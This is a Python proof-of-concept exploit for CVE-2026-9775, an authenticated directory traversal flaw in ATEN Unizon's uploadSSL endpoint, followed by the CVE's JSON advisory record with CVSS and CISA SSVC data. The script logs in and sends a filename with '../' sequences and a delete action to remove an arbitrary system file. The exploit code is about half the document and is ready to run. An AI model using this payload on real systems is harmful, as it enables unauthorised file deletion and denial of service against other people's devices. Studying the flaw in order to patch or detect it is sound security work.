CVE-2026-9775

# CVE-2026-9775 - ATEN Unizon uploadSSL Directory Traversal PoC # Vulnerability: Arbitrary File Deletion via Path Traversal in uploadSSL method # Original advisory: ZDI-CAN-28503 / ZDI-26-379 import requests TARGET_HOST = "https://target-aten-unizon.example.com" AUTH_ENDPOINT = f"{TARGET_HOST}/api/login" UPLOAD_SSL_ENDPOINT = f"{TARGET_HOST}/api/uploadSSL" USERNAME = "attacker_user" PASSWORD = "attacker_password" def authenticate(session, username, password): """Authenticate to ATEN Unizon with high-privilege credentials.""" login_payload = { "username": username, "password": password } resp = session.post(AUTH_ENDPOINT, json=login_payload, verify=False) if resp.status_code == 200 and "token" in resp.json(): session.headers.update({"Authorization": f"Bearer {resp.json()['token']}"}) print("[+] Authentication successful") return True print("[-] Authentication failed") return False def exploit_delete_file(session, traversal_path): """ Exploit directory traversal in uploadSSL to delete arbitrary files. The traversal_path should contain '../' sequences to escape the intended directory. """ payload = { "filename": traversal_path, "action": "delete" } resp = session.post(UPLOAD_SSL_ENDPOINT, json=payload, verify=False) if resp.status_code == 200: print(f"[+] File deletion request sent for: {traversal_path}") return True print(f"[-] Request failed with status: {resp.status_code}") return False if __name__ == "__main__": session = requests.Session() if authenticate(session, USERNAME, PASSWORD): # Example: delete a critical system file via directory traversal target_file = "../../../../etc/critical_config_file" exploit_delete_file(session, target_file)

{"cve": {"id": "CVE-2026-9775", "sourceIdentifier": "[email protected]", "published": "2026-06-24T22:16:50.147", "lastModified": "2026-06-25T14:23:56.107", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "ATEN Unizon uploadSSL Directory Traversal Arbitrary File Deletion Vulnerability. This vulnerability allows remote attackers to delete arbitrary files on affected installations of ATEN Unizon. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the uploadSSL method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to delete files or create a denial-of-service condition on the system. Was ZDI-CAN-28503."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "ATEN", "product": "Unizon", "defaultStatus": "unknown", "versions": [{"version": "2.7.262.002", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 4.2}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T12:53:53.223855Z", "id": "CVE-2026-9775", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "partial"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://www.aten.com/global/en/supportcenter/info/security-advisory/28/", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-379/", "source": "[email protected]"}]}}